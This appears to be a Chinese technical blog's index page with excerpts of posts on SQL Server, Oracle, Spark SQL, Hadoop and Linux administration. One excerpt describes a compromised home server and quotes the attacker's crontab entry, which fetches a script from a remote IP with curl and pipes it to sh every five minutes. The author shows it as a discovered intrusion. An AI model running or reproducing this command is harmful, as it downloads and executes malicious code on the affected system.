- 博客(126)
- 资源 (6)
- 问答 (1)
- 收藏
- 关注
RSS订阅原创 SPARK SQL中多行变一行，一行变多行的操作（对字符串的拼接和分隔操作）
代码环境：SPARK SQL多行变一行：根据name分组，对数值型字段聚合取最大，对ID使用逗号进行拼接聚合。原始数据：代码：--spark sql 多行变一行WITH TMP(SELECT '11' ID,'TOP1' NAME,0.1 RATE1,0.2 RATE2 UNION ALLSELECT '12' ID,'TOP1' NAME,0.1 RATE1,0.2 RATE2 UNION ALLSELECT '13' ID,'TOP2' NAME,0.2 RATE.
2021-09-18 17:53:17
3448
原创 Sql Server 开窗函数上下边界的控制
sqlserver 2012 开窗函数上下边界的控制 : over partition rows between unbounded preceding and unbounded following数据结构：现有员工工资表，字段有员工工号，日期，工资，奖金。需求：查询每个员工一年内每月的工资累计值, 工资和奖金和的累计，工资和奖金和的最小值，工资和奖金和的最大值， 奖金前后1个月的平均值（3个月内的平均值）。查询结果是：1、准备数据表use t...
2021-04-23 12:04:21
904
转载 函数：COALESCE() 和 ISNULL() 区别
COALESCE()函数主流数据库系统都支持COALESCE()函数，这个函数主要用来进行空值处理，其参数格式如下：COALESCE ( expression,value1,value2……,valuen)COALESCE()函数的第一个参数expression为待检测的表达式，而其后的参数个数不定。COALESCE()函数将会返回包括expression在内的所有参数中的第一个非空表达式。如果expression不为空值则返回expression；否则判断value1是否是空值，如果v..
2021-04-20 15:44:59
3589
原创 sql优化--临时表代替子查询
提数的过程中，如果一个sql执行很慢。执行计划显示，一个子查询中的关联条件耗时最大，但单独执行子查询却很快。这种情况可以将sql中的子查询的结果落到临时表中，然后用临时表代替子查询。如果还是很慢可以再分析新的执行计划。...
2020-05-26 19:15:35
1676
原创 sqlserver的PIVOT和UNPIVOT
一、使用PIVOT和UNPIVOT命令的SQL Server版本要求1.数据库的最低版本要求为SQL Server 2005 或更高。2.必须将数据库的兼容级别设置为90 或更高。3.查看我的数据库版本及兼容级别。...
2019-10-31 23:21:53
420
原创 impala 自定义聚合函数不能用java开发，只能用c++开发
impala3.0自定义函数(UDF:USER-DEFINED FUNCTION)有 单行函数（eg: rtrim(),abs(),concat() ,substr()等），可以使用scala、java 、C++开发自定义聚合函数（UDAF：USER-DEFINED AGGREGATE FUNCTION） （eg:sum(),max(),avg() 等 ）,只能用C++开发，暂...
2019-09-19 11:18:26
1011
原创 SQL Server数据类型int、bigint、smallint和tinyint范围
环境：SQLServer 2008 R21）bigint 存储大小为 8 个字节。从 -2^63 (-9223372036854775808) 到 2^63-1(9223372036854775807) 的整型数据。2）int 存储大小为 4 个字节。从 -2^31 (-2,147,483,648) 到 2^31 - 1(2,147,483,647) 的整型数据。int 的...
2019-05-31 17:55:37
7844
原创 Sql server中常用日期汇总
sql server中常用到的日期汇总:日期格式： YYYYMMDD--获得今天select statdate from ( select convert(varchar(8),getdate(),112) statdate ) a--获得昨天select statdate from ( select convert(varchar(8),getdate()-1,112) statd...
2019-04-23 16:03:19
787
原创 JETTY的部署和启动
1、什么是JETTY? Jetty是一个提供HTTP服务器、HTTP客户端和javax.servlet容器的开源项目。相对Tomcat而言Jetty更轻量级。参考博客：《Jetty使用教程（一）》的 1.1 内容很全，推荐2、JETTY和tomcat的比较参考博客：《tomcat与jetty的区别》https://www.cnblogs.com/fengli9998/p/72...
2019-04-22 09:48:32
3178
原创 SQL Server默认周日为每周第一天，如何让周一变为每周的第一天
SQL Server默认周日为每周第一天，如何让周一变为每周的第一天在国外人认为周日为每周的第一天，而国内一般认为周一是每周的第一天，所以在周几的计算上有点不麻烦。其实在sql server中是可以对每周的第一天进行设置的。那就是@@DATEFIRST全局变量。在sql server环境中该值默认为7。可以输出一下这个变量值。print @@DATEFIRST ; 结果是：7 ...
2019-03-31 21:21:21
5896
原创 ORACLE数据类型number(p,s)面试题
关于oracle 数据类型number(p,s)遇到一个面试题正式考number类型的，当时有点懵，事后赶紧查了查，在数据库上验证一遍。参考博客：https://blog.csdn.net/IT_jinxing/article/details/77159519参考博客：https://blog.csdn.net/dongmenshiyu/article/details/51578996...
2019-01-25 14:52:35
631
1
原创 ORACLE执行计划中的执行顺序
执行计划的查看规则：（从上往下，从右往左）先从开头一直连续往右看，直到看到右边并列的地方；对于不并列的，靠右的先执行；如果看到并列，从上往下看，对于并列的部分，靠上的先执行。参考网站：https://blog.csdn.net/Zhengyixiao/article/details/82740165参考网站：http://blog.itpub.net/30126024/viewspac...
2019-01-25 12:21:39
4143
5
原创 sqlserver 的表名/列名修改
对表结构字段进行修改：添加列：alter table 表名 add 列名 varchar(55)删除列：alter table 表名 drop column 列名改列类型：alter table 表名 alter column 列名 varchar(22)修改列名称：exec sp_rename '表名.字段名' , '新名', 'column'修改表名称：exec sp_re...
2018-12-17 13:30:17
19504
1
原创 Centos 6.5 输入正确的用户名和密码却无法登录的问题
Centos 6.5 系统用了半年多都没有出问题，突然有一天root登录不上去了（提示：could not open session ），其它系统用户也无法登录。经过多天的百度，，终于解决了。 在论坛上还问了一下，哈哈！ 我的系统环境：[root@master ~]# uname -aLinux master 2.6.32-431.el6.x86_64 #1 SMP Fri Nov...
2018-11-15 22:50:00
9689
2
原创 sql server DATEPART() 函数的使用
datepart() 函数是用来返回 指定日期时间的指定日期部分的整数。返回类型为：int 。语法：DATEPART(datepart,date)其中date是日期、时间。part指其中的一部分。所以这个函数的意思就是取日期中的一部分。函数的第一参数 datepart是指定应返回的日期部分，参数说明如下表： 日期部分 缩写 说明 ...
2018-11-03 15:24:44
9951
原创 CentOS6.x 手动安装HAWQ 错误记录
参考博客：https://blog.csdn.net/shenliang1985/article/details/51420077 按照上面博客 安装依赖软件；thrift0.9.2 链接已经不存在了，安装的是thrift0.9.3, 安装成功但是在hawq安装的 ./configure 步骤还是报错报错信息：checking bzlib.h usability......
2018-09-04 13:34:30
520
原创 SQL server中删除synonym时报不存在，或者您没有所需的权限
sql server 2008使用sa登录的。创建了synonym成了，但是删除时发生下面的错误信息：创建>create synonym dbo.test1 for table_test;查看所有同义词>select*fromsys.synonyms删除>drop synonym dbo.test1; 消息 3701，级别 11，状态 5，第 2 ...
2018-08-08 14:46:55
11588
5
原创 Oracle Sql 高级编程学习过程记录
sqlplus工具使用： SQL>help index @ COPY PAUSE SHUTDOWN @@ DEFINE PRINT SPOOL / DEL PROMPT ...
2018-07-31 23:36:50
385
原创 git初学笔记
git和svn一样是版本管理软件，在代码开发过程中带来了许多方便。git主要特点是分布式版本管理。这次主要记录一下git的使用经验。1、git官网库的创建和链接。首先注册一个自己的账号 git官网：https://github.com/一、新建代码库在你所在的目录下空白处右击【git bash here】执行下面命令：git init标题新建一个目录，将其初始化为Gi...
2018-07-31 23:30:47
217
原创 pgadmin4远程连接 postgresql服务
1、pgadmin 的下载地址：https://www.pgadmin.org/download/这里我们下载windows版 2、双击打开后 --下一步-->下一步-->安装安装完成后需要重启电脑。点击finishpgadmin4 web服务型的工具：3、在windows的开始菜单中打开pgadmin4程序，它会打开一个页面，如果没有自动打开。...
2018-06-30 22:42:41
36989
3
原创 centos6 安装postgreSQL
在postgresql官网找对最新版本：https://www.postgresql.org/download/linux/redhat/version:10platform:centos6architecture:x86_64目录：/var/lib/pgsql/101、Install the repository RPM:yum install https://download.postgres...
2018-06-30 21:45:07
1076
原创 用cloudera manager 安装kudu时报错误
1、错误内容：启动角色 此角色需要在可以启动前激活以下其他 Parcel：[kudu]。解决方案：在网站中http://archive.cloudera.com/kudu/parcels/ 下载对应版本的parcel 和 parcel.sha1 文件 。将两个文件放到主机的/opt/cloudera/parcel-repo目录下，然后在cloudera manager中添加kudu服务...
2018-05-31 09:37:06
6525
原创 2008SSIS包中的FTP管理器动态用户名密码的使用
2008SSIS包版本比较久，FTP管理器不能使用动态参数形式，这里为大家介绍一种是用参数传入用户名密码的方法1、打开ssis包2、在最上侧的菜单中打开 视图--代码。这样就能够查看到源码xml文件了找到FTP管理器 的位置通过ctrl+f 搜索FTP管理器名称能够快速定位到3、找到FTP连接器的位置：手动添加ServerPassword属性标签（@[User::FtpPassword]是用...
2018-04-03 17:28:08
822
原创 hadoop2.6.0环境搭建
准备: 三台服务器，可用虚拟软件见3个虚拟机。 内网路由 平常的tp-link就可以--1、 创建hadoop 用户useradd hadooppasswd hadoop--2、配置hosts （3个机器都操作）只要是互通的内网及可，ip更具自己情况设定vi /etc/hosts192.168.2.11 hw001192.168.2.12 hw002192.168.2....
2018-03-31 22:28:47
329
原创 Sqoop-1.4.6安装部署
部署的前提是已经存在HADOOP、HBASE、HIVE、ZOOKEEPER环境（1）下载地址：sqoop-1.4.6解压到／home/sqoop/sqoop1.4（2）、配置环境变量在：/etc/profiles 文件中添加下面内容#sqoop export SQOOP_HOME=/home/sqoop/sqoop1.4export PATH=$PATH:$SQOOP_HOME/bin（3）、修改...
2018-03-31 09:16:14
301
原创 hive1.1.0 启动报错Missing Hive Execution Jar:lib/hive-exec-*.jar
hive启动时报下面的错误信息[root@master bin]# hiveMissing Hive Execution Jar: /data0/hive/hive1.2.1/lib/hive-exec-*.jar解决：1、检查/etc/profile文件配置$HIVE_HOME配置是否正确export HIVE_HOME=/data0/hive/hive1.2.1export PATH=.:$H...
2018-02-27 22:36:44
10781
原创 查看Linux开机时间/重启时间
总结一些查看Linux开机关机时间的方法1： who 命令查看 who -b 查看最后一次系统启动的时间。 who -r 查看当前系统运行时间linux运行时间:1.uptime命令输出:16:11:40 up 59 days, 4:21, 2 users, load average: 0.00, 0.01, 0.00即为运行的4个小时21分钟2.查看/proc/uptime文...
2018-02-27 21:40:56
7911
原创 oracle-ESCAPE转义字符
为了更好的理解ESCAPE转义字符，我们首先建立一个view作为数据源create or replace view v as select 'ABCEDF' as vname from dual union allselect '_bcefg' from dual union allselect '_bcedf' from dual union allselect '_\bcedf' from ...
2018-02-22 15:21:29
1288
原创 简单的树形查询--prior放在select中使用
简单的树形查询使用scott用户下的表：emp想要查出上级主管的姓名(sql1)：select e.empno as "员工编码", e.ename as "员工姓名", e.mgr as "主管编码", "主管姓名" as "主管姓名"from emp e start with e.empno = 7566connect by (prior e.e
2018-01-19 10:06:27
692
原创 Oracle函数sys_connect_by_path()
这个函数是oracle9i新提出来的，用来显示分层查询的路径。参数：sys_connect_by_path(字段名, 2个字段之间的连接符号)注意：sys_connect_by_path()函数必须和connect by 关键字一起使用。
2018-01-03 11:21:06
3077
原创 ORACLE-下级部门的汇总给上级部门
create table dept_money (unit_id varchar(10),grade varchar(1),money number(10,2));create table dept_grade(unit_id varchar(10),pre_unit_id varchar(10));insert into dept_money select '001',1,0 from d
2018-01-02 13:42:50
1653
原创 Oracle执行计划的6种方法
/* 总的结论： 一.获取执行计划的6种方法(详细步骤已经在每个例子的开头注释部分说明了）： 1. explain plan for获取； 2. set autotrace on ； 3. statistics_level=all; 4. 通过dbms_xplan.display_cursor输入sql_id参数直接
2017-12-31 00:08:01
7157
1
原创 Oracle里的一个账号scott-可以学习使用
本环境给oracle初学者使用。版本：oracle 11g r2配置：cpu,内存，硬盘配置很低低，没脸说用户：scott时间：每天上午9：00 - 下午5:30
2017-12-27 16:21:10
1254
原创 发现小服务器被入侵了 cpu长期100%
前两天用路由开了个外网端口，把自己的一台centos6.5台式机挂上了外网。还挺有成就感的。定时任务里有个每晚23点30自动关机的操作。昨天发现没有自动关机，没在意就手动关了。今天本想查看一下定时任务，排查下问题。结果发现的入侵：crontab -l*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh*/5
2017-11-26 00:48:58
3816
原创 MS SQL 使用OpenDataSource连接excel 问题解决
--1.开启远程查询支持exec sp_configure 'show advanced options' ,1reconfigureexec sp_configure 'Ad Hoc Distributed Queries',1reconfigure--2.链接Excel Microsoft ACE 12.0 OLE DB Provider 读Excel数据（注意Excel必须事先关
2017-11-16 15:05:24
1305
原创 MS SQL中的延迟执行操作--WAITFOR
WAITFOR指定触发语句块、存储过程或事务执行的时间、时间间隔或事件。语法WAITFOR { DELAY 'time' | TIME 'time' }参数DELAY指示 Microsoft® SQL Server™ 一直等到指定的时间过去，最长可达 24 小时。'time'要等待的时间。可以按 datetime 数据可接受的
2017-11-10 15:18:35
4475
原创 plsql as sysdba登录--报ora-01031的问题
plsql 的三种登录方式：normal 、sysdba、 sysopernormal 、sysdba、 sysoper有什么区别呢1、normal 是普通用户。2、sysdba拥有最高的系统权限。SQL> show userUSER 为"SYS"3、sysoper主要用来启动、关闭数据库，sysoper 登陆后用户是 public。show user
2017-11-09 11:05:40
10152
原创 Oracle函数--instr()
instr() 返回要截取的字符串在源字符串中的位置语法： instr(sourceString,destString,startPosition,appearPosition) 参数说明：sourceString:源字符串，要在此字符串中查找。destString：要在sourceString中查找的字符串。startPosition：代表在sourceString字...
2017-11-08 16:44:45
521
原创 execute immediate 的用法
execute immediate 的用法，3种。方法1直接执行sql语句。注意ddl语句是不能直接写在存储过程里执行的 必须用execute immediate 方法1执行。方法2 传参数发 方法3 查出结果付给变量 into 方法
2017-10-18 17:01:15
6440
操作系统课程设计-模拟磁盘文件管理的程序
2011-12-19
class反编译软件
2011-12-19
数据库，复习资料
2011-12-19
TA创建的收藏夹 TA关注的收藏夹
TA关注的人